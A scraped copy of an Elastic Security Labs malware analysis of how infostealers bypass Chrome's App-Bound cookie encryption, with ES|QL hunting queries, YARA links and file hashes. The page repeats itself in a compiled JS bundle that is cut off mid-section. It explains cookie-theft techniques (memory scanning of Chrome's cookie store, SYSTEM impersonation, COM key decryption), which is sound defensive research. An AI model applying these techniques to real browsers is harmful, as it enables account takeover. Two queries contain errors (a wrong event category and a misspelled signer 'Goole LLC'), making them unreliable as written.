ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents: \n\n``` sql\nFROM logs-endpoint.events.process-*\n| where event.category == \"process\" and event.type == \"start\" and to_lower(process.name) == \"chrome.exe\" and process.command_line like \"*--profile-directory=Default*\"\n| eval process_parent_path = replace(to_lower(process.parent.executable), \"\"\"c:\\\\users\\\\[a-zA-Z0-9\\.\\-\\_\\$]+\\\\\"\"\", \"c:\\\\\\\\users\\\\\\\\user\\\\\\\\\")\n| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path\n| where agents_count == 1 and total_executions \u003c= 10\n```\n\n![ES|QL query results for chrome browser spawned from an unusual parent](/assets/images/katz-and-mouse-game/image18.png)\n\n## Untrusted Binaries from Chrome Application folder\n\nSince the Chrome elevation service [trusts](https://github.com/chromium/chromium/blob/main/chrome/elevation_service/caller_validation.cc#L33-L56) binaries running from the Chrome ```program files``` folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there: \n\n### Unsigned DLLs loaded from google chrome application folder\n\n``` sql\nFROM logs-endpoint.events.library*\n| where event.category == \"library\" and event.action == \"load\" and to_lower(dll.path) like \"c:\\\\\\\\program files\\\\\\\\google\\\\\\\\chrome\\\\\\\\application\\\\\\\\*\" and not (dll.code_signature.trusted == true)\n| keep process.executable, dll.path, dll.hash.sha256, agent.id\n| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256\n| where agents_count == 1 and total_executions \u003c= 10\n```\n\n### Unsigned executable launched from google chrome application folder\n\n``` sql\nFROM logs-endpoint.events.process*\n| where event.category == \"library\" and event.type == \"start\" and (to_lower(process.executable) like \"c:\\\\\\\\program files\\\\\\\\google\\\\\\\\chrome\\\\\\\\application\\\\\\\\*\" or to_lower(process.executable) like \"c:\\\\\\\\scoped_dir\\\\\\\\program files\\\\\\\\google\\\\\\\\chrome\\\\\\\\application\\\\\\\\*\")\nand not (process.code_signature.trusted == true and process.code_signature.subject_name == \"Goole LLC\")\n| keep process.executable,process.hash.sha256, agent.id\n| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256\n| where agents_count == 1 and total_executions \u003c= 10\n```\n\n![ES|QL query results for malicious DLL loaded by Chrome](/assets/images/katz-and-mouse-game/image6.png)\n\n# Conclusion\n\nGoogle has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data. \n\nOrganizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel. \n\n## Stealer Bypasses and MITRE ATT\u0026CK\n\nElastic uses the [MITRE ATT\u0026CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that threats use against enterprise networks.\n\n### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n\n - [Credential Access](https://attack.mitre.org/tactics/TA0006/)\n - [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)\n - [Discovery](https://attack.mitre.org/tactics/TA0007/)\n - [Execution](https://attack.mitre.org/tactics/TA0002/)\n\n### Techniques\n\nTechniques represent how an adversary achieves a tactical goal by performing an action.\n\n - [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539/)\n - [Process Injection](https://attack.mitre.org/techniques/T1055/)\n - [Credentials from Password Stores](https://attack.mitre.org/techniques/T1555/)\n - [System Information Discovery](https://attack.mitre.org/techniques/T1082/)\n - [Process Discovery](https://attack.mitre.org/techniques/T1057/)\n - [Inter-Process Communication: Component Object Model](https://attack.mitre.org/techniques/T1559/001/)\n\n## YARA\n\nElastic Security has created YARA rules to identify this activity. \n\n - [Windows.Trojan.Stealc](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar)\n - [Windows.Infostealer.PhemedroneStealer](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_PhemedroneStealer.yar)\n - [Windows.Trojan.MetaStealer](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar)\n - [Windows.Trojan.Xeno](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Xeno.yar)\n - [Windows.Trojan.Lumma](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Lumma.yar)\n - [Windows.Infostealer.Generic](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_Generic.yar)\n\n## Observations\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/app-bound_bypass) in both ECS and STIX format.\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n|-----|-----|-----|-----|\n| 27e4a3627d7df2b22189dd4bebc559ae1986d49a8f4e35980b428fadb66cf23d | SHA-256 | num.exe | STEALC |\n| 08d9d4e6489dc5b05a6caa434fc36ad6c1bd8c8eb08888f61cbed094eac6cb37 | SHA-256 | HardCoreCrack.exe | PHEMEDRONE |\n| 43cb70d31daa43d24e5b063f4309281753176698ad2aba9c557d80cf710f9b1d | SHA-256 | Ranginess.exe | METASTEALER |\n| 84033def9ffa70c7b77ce9a7f6008600c0145c28fe5ea0e56dfafd8474fb8176 | SHA-256 | | LUMMA |\n| b74733d68e95220ab0630a68ddf973b0c959fd421628e639c1b91e465ba9299b | SHA-256 | XenoStealer.exe | XENOSTEALER |\n\n\n## References\nThe following were referenced throughout the above research:\n\n - [https://developer.chrome.com/release-notes/127](https://developer.chrome.com/release-notes/127)\n- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)\n","code":"var Component=(()=\u003e{var d=Object.create;var r=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),w=(n,e)=\u003e{for(var o in e)r(n,o,{get:e[o],enumerable:!0})},s=(n,e,o,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let i of p(e))!g.call(n,i)\u0026\u0026i!==o\u0026\u0026r(n,i,{get:()=\u003ee[i],enumerable:!(a=m(e,i))||a.enumerable});return n};var b=(n,e,o)=\u003e(o=n!=null?d(u(n)):{},s(e||!n||!n.__esModule?r(o,\"default\",{value:n,enumerable:!0}):o,n)),y=n=\u003es(r({},\"__esModule\",{value:!0}),n);var l=f((_,c)=\u003e{c.exports=_jsx_runtime});var E={};w(E,{default:()=\u003eC,frontmatter:()=\u003ev});var t=b(l()),v={title:\"Katz and Mouse Game: MaaS Infostealers Adapt to Patched Chrome Defenses\",slug:\"katz-and-mouse-game\",date:\"2024-10-28\",description:\"Elastic Security Labs breaks down bypass implementations from the infostealer ecosystem\\u2019s reaction to Chrome 127's Application-Bound Encryption scheme.\",author:[{slug:\"jia-yu-chan\"},{slug:\"salim-bitam\"},{slug:\"daniel-stepanic\"},{slug:\"samir-bousseaden\"},{slug:\"cyril-francois\"},{slug:\"seth-goodwin\"}],image:\"Security Labs Images 2.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"infostealer\",\"chrome\",\"cookie\",\"VIDAR\",\"STEALC\",\"LUMMA\",\"METASTEALER\",\"PHEMEDRONE\",\"XENOSTEALER\"]};function h(n){let e=Object.assign({h1:\"h1\",p:\"p\",a:\"a\",ul:\"ul\",li:\"li\",h2:\"h2\",img:\"img\",code:\"code\",blockquote:\"blockquote\",pre:\"pre\",h3:\"h3\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h1,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In July, Google \",(0,t.jsx)(e.a,{href:\"https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html\",rel:\"nofollow\",children:\"announced\"}),\" a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"STEALC/VIDAR\"}),`\n`,(0,t.jsx)(e.li,{children:\"METASTEALER\"}),`\n`,(0,t.jsx)(e.li,{children:\"PHEMEDRONE\"}),`\n`,(0,t.jsx)(e.li,{children:\"XENOSTEALER\"}),`\n`,(0,t.jsx)(e.li,{children:\"LUMMA\"}),`\n`]}),`\n`,(0,t.jsx)(e.h1,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Latest versions of infostealers implement bypasses around Google\\u2019s recent cookie protection feature using Application-Bound Encryption\"}),`\n`,(0,t.jsx)(e.li,{children:\"Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome\"}),`\n`,(0,t.jsx)(e.li,{children:\"Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term\"}),`\n`,(0,t.jsx)(e.li,{children:\"Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity\"}),`\n`]}),`\n`,(0,t.jsx)(e.h1,{id:\"background\",children:\"Background\"}),`\n`,(0,t.jsx)(e.p,{children:\"Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location\\u2013 even across devices.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application \\u201Cremembers\\u201D your browser is you via the exchange of this token with each subsequent web request.\"}),`\n`,(0,t.jsx)(e.p,{children:\"A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"google-chrome-cookie-security\",children:\"Google Chrome Cookie Security\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Legacy versions of Google Chrome on Windows used the Windows native \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection\",rel:\"nofollow\",children:\"Data Protection API\"}),\" (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user\\u2019s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now \",(0,t.jsx)(e.a,{href:\"https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107\",rel:\"nofollow\",children:\"well known to attackers\"}),\" with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"With the release of Chrome 127 in July 2024, Google \",(0,t.jsx)(e.a,{href:\"https://developer.chrome.com/release-notes/127\",rel:\"nofollow\",children:\"implemented\"}),\" Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data\\u2013including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image5.png\",alt:\"Chrome 127 Application-Bound Encryption Scheme. Source: https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html\",width:\"1416\",height:\"919\"})}),`\n`,(0,t.jsx)(e.p,{children:\"While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"stealer-bypass-techniques-summarized\",children:\"Stealer Bypass Techniques, Summarized\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following sections will describe specific infostealer techniques used to bypass Google\\u2019s App-Bound Encryption feature as observed by Elastic. Although this isn\\u2019t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google\\u2019s recently updated security control. The techniques observed by our team include:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Remote debugging via Chrome\\u2019s DevTools Protocol\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"Reading process memory of Chrome network service process (ChromeKatz and \",(0,t.jsx)(e.code,{children:\"ReadProcessMemory\"}),\" (RPM))\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Elevating to \",(0,t.jsx)(e.code,{children:\"SYSTEM\"}),\" then decrypting \",(0,t.jsx)(e.code,{children:\"app_bound_encryption_key\"}),\" with the \",(0,t.jsx)(e.code,{children:\"DecryptData\"}),\" method of \",(0,t.jsx)(e.code,{children:\"GoogleChromeElevationService\"}),\" through COM\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image30.png\",alt:\"Timeline of events\",width:\"960\",height:\"540\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"stealcvidar\",children:\"STEALC/VIDAR\"}),`\n`,(0,t.jsx)(e.p,{children:\"Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc\",rel:\"nofollow\",children:\"STEALC\"}),\" was introduced in 2023 and was developed with \\u201Cheavy inspiration\\u201D from other more established stealers such as \",(0,t.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon\",rel:\"nofollow\",children:\"RACOON\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar\",rel:\"nofollow\",children:\"VIDAR\"}),\". STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with \",(0,t.jsx)(e.code,{children:\"v20\"}),\", a child process is spawned using the embedded PE file in the \",(0,t.jsx)(e.code,{children:\".data\"}),\" section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image2.png\",alt:\"Embedded PE file\",width:\"1190\",height:\"835\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This embedded binary creates a hidden desktop via \",(0,t.jsx)(e.code,{children:\"OpenDesktopA\"}),\" / \",(0,t.jsx)(e.code,{children:\"CreateDesktopA\"}),\" then uses \",(0,t.jsx)(e.code,{children:\"CreateToolhelp32Snapshot\"}),\" to scan and terminate all \",(0,t.jsx)(e.code,{children:\"chrome.exe\"}),\" processes. A new \",(0,t.jsx)(e.code,{children:\"chrome.exe\"}),\" process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature \",(0,t.jsx)(e.a,{href:\"https://www.chromium.org/developers/design-documents/network-stack/cookiemonster/\",rel:\"nofollow\",children:\"CookieMonster\"}),\", an internal component used to manage cookies.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image38.png\",alt:\"Signature pattern for CookieMonster\",width:\"1244\",height:\"485\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"We used the \",(0,t.jsx)(e.a,{href:\"https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Main.cpp#L123\",rel:\"nofollow\",children:\"signature patterns\"}),\" to pivot to existing code developed for an offensive security tool called \",(0,t.jsx)(e.a,{href:\"https://github.com/Meckazin/ChromeKatz\",rel:\"nofollow\",children:\"ChromeKatz\"}),\". At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Once the malware identifies a matching signature, it enumerates Chrome\\u2019s child processes to check for the presence of the \",(0,t.jsx)(e.code,{children:\"--utility-sub-type=network.mojom.NetworkService\"}),\" command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec\\u2019s \",(0,t.jsx)(e.a,{href:\"https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/\",rel:\"nofollow\",children:\"post\"}),\". It then returns a handle for that specific child process.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image37.png\",alt:\"Enumerating for Chrome\\u2019s network service\",width:\"1482\",height:\"633\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Next, it enumerates each module in the network service child process to find and retrieve the base address and size of \",(0,t.jsx)(e.code,{children:\"chrome.dll\"}),\" loaded into memory. STEALC uses \",(0,t.jsx)(e.a,{href:\"https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CredentialKatz/Memory.cpp#L280\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"CredentialKatz::FindDllPattern\"})}),\" and \",(0,t.jsx)(e.a,{href:\"https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CookieKatz/Memory.cpp#L435\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"CookieKatz::FindPattern\"})}),\" to locate the CookieMonster instances. There are 2 calls to \",(0,t.jsx)(e.code,{children:\"CredentialKatz::FindDllPattern\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image17.png\",alt:\"Calls to CredentialKatz::FindDllPattern\",width:\"830\",height:\"763\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"In the first call to \",(0,t.jsx)(e.code,{children:\"CredentialKatz::FindDllPattern\"}),\", it tries to locate one of the signature patterns (depending on the victim\\u2019s Chrome version) in \",(0,t.jsx)(e.code,{children:\"chrome.dll\"}),\". Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function \",(0,t.jsx)(e.code,{children:\"net::CookieMonster::~CookieMonster\"}),\", destructor of the \",(0,t.jsx)(e.code,{children:\"CookieMonster\"}),\" class.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image14.png\",alt:\"Byte sequence for net::CookieMonster::~CookieMonster found in chrome.dll\",width:\"1368\",height:\"137\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The second call to \",(0,t.jsx)(e.code,{children:\"CredentialKatz::FindDllPattern\"}),\" passes in the function address for \",(0,t.jsx)(e.code,{children:\"net::CookieMonster::~CookieMonster(void)\"}),\" as an argument for the byte sequence search, resulting in STEALC having a pointer to \",(0,t.jsx)(e.code,{children:\"CookieMonster\"}),\"\\u2019s Virtual Function Pointer struct.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image19.png\",alt:\"CookieMonster\\u2019s vtable in chrome.dll\",width:\"1808\",height:\"377\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The following method used by STEALC is again, identical to ChromeKatz, where it locates \",(0,t.jsx)(e.code,{children:\"CookieMonster\"}),\" instances by scanning memory chunks in the \",(0,t.jsx)(e.code,{children:\"chrome.dll\"}),\" module for pointers referencing the \",(0,t.jsx)(e.code,{children:\"CookieMonster\"}),\" vtable. Since the vtable is a constant across all objects of a given class, any \",(0,t.jsx)(e.code,{children:\"CookieMonster\"}),\" object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a \",(0,t.jsx)(e.code,{children:\"CookieMonster\"}),\" instance and stores its address in an array.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image16.png\",alt:\"Using CookieKatz::FindPattern to locate CookieMonster instances\",width:\"1097\",height:\"249\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"For each identified \",(0,t.jsx)(e.code,{children:\"CookieMonster\"}),\" instance, STEALC accesses the internal \",(0,t.jsx)(e.code,{children:\"CookieMap\"}),\" structure located at an offset of \",(0,t.jsx)(e.code,{children:\"+0x30\"}),\", and which is a binary tree. Each node within this tree contains pointers to \",(0,t.jsx)(e.code,{children:\"CanonicalCookieChrome\"}),\" structures. \",(0,t.jsx)(e.code,{children:\"CanonicalCookieChrome\"}),\" structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image20.png\",alt:\"Initiating CookieMap tree traversal for each CookieMonster instance found\",width:\"1583\",height:\"404\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"For each node, it calls \",(0,t.jsx)(e.code,{children:\"ReadProcessMemory\"}),\" to access the \",(0,t.jsx)(e.code,{children:\"CanonicalCookieChrome\"}),\" structure from the target process\\u2019s memory, then further processing it in \",(0,t.jsx)(e.code,{children:\"jy::GenerateExfilString\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image31.png\",alt:\"CookieMap traversal subroutine\",width:\"1745\",height:\"1243\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the \",(0,t.jsx)(e.code,{children:\"HttpOnly\"}),\" and \",(0,t.jsx)(e.code,{children:\"Secure\"}),\" flags. It then appends details such as the cookie's name, value, domain, path, and the \",(0,t.jsx)(e.code,{children:\"HttpOnly\"}),\" and \",(0,t.jsx)(e.code,{children:\"Secure\"}),\" into a final string for exfiltration. \",(0,t.jsx)(e.a,{href:\"https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Memory.cpp#L10\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"OptimizedString\"})}),\" structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image23.png\",alt:\"Constructing string for data exfiltration\",width:\"1692\",height:\"977\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"metastealer\",children:\"METASTEALER\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer\",rel:\"nofollow\",children:\"METASTEALER\"}),\", first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google\\u2019s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version \",(0,t.jsx)(e.code,{children:\"129+\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image26.png\",alt:\"METASTEALER announcement and translation\",width:\"510\",height:\"666\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image28.png\",alt:\"source: https://x.com/g0njxa/status/1840761619686568319/\",width:\"642\",height:\"718\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/973a9056040af402d6f92f436a287ea164fae09c263f80aba0b8d5366ed9957a\",rel:\"nofollow\",children:\"first sample\"}),\" observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing \",(0,t.jsx)(e.code,{children:\"Administrator\"}),\" privileges, our testing revealed it does require elevated access, as it attempts to impersonate the \",(0,t.jsx)(e.code,{children:\"SYSTEM\"}),\" token during execution.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image11.png\",alt:\"Code comparison between an old and a new version of the family\",width:\"1817\",height:\"1284\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"As shown in the screenshots above, the \",(0,t.jsx)(e.code,{children:\"get_decryption\"}),\" method now includes a new Boolean parameter. This value is set to \",(0,t.jsx)(e.code,{children:\"TRUE\"}),\" if the encrypted data (cookie) begins with the \",(0,t.jsx)(e.code,{children:\"v20\"}),\" prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware then attempts to access the \",(0,t.jsx)(e.code,{children:\"Local State\"}),\" or \",(0,t.jsx)(e.code,{children:\"LocalPrefs.json\"}),\" files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (\",(0,t.jsx)(e.code,{children:\"encrypted_key\"}),\") for older Chrome versions and \",(0,t.jsx)(e.code,{children:\"app_bound_encrypted_key\"}),\" for newer ones. If the flag is set to \",(0,t.jsx)(e.code,{children:\"TRUE\"}),\", the malware specifically uses the \",(0,t.jsx)(e.code,{children:\"app_bound_encrypted_key\"}),\" to decrypt cookies in line with the updated Chrome encryption method.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image13.png\",alt:\"app_bound_encrypted_key extracted from Chrome json file\",width:\"1999\",height:\"582\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"In this case, the malware first impersonates the \",(0,t.jsx)(e.code,{children:\"SYSTEM\"}),\" token using a newly introduced class called \",(0,t.jsx)(e.code,{children:\"ContextSwitcher\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image35.png\",alt:\"New class for TOKEN impersonation\",width:\"1169\",height:\"454\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named \",(0,t.jsx)(e.code,{children:\"GoogleChromeElevationService\"}),\", using the CLSID \",(0,t.jsx)(e.code,{children:\"708860E0-F641-4611-8895-7D867DD3675B\"}),\". Once initialized, it invokes the \",(0,t.jsx)(e.a,{href:\"https://github.com/chromium/chromium/blob/225f82f8025e4f93981310fd33daa71dc972bfa9/chrome/elevation_service/elevator.cc#L155\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"DecryptData\"})}),\" method to decrypt the \",(0,t.jsx)(e.code,{children:\"app_bound_encrypted_key\"}),\" key which will be used to decrypt the encrypted cookies.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image8.png\",alt:\"New class ComInvoker to invoke methods from GoogleChromeElevationService service\",width:\"1999\",height:\"513\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"METASTEALER employs a technique similar to the one demonstrated in a \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824\",rel:\"nofollow\",children:\"gist\"}),\" shared \",(0,t.jsx)(e.a,{href:\"https://x.com/snovvcrash/status/1839715912812802162\",rel:\"nofollow\",children:\"on X\"}),\" on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"phemedrone\",children:\"PHEMEDRONE\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This \",(0,t.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer\",rel:\"nofollow\",children:\"open-source stealer\"}),\" caught the world\\u2019s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent 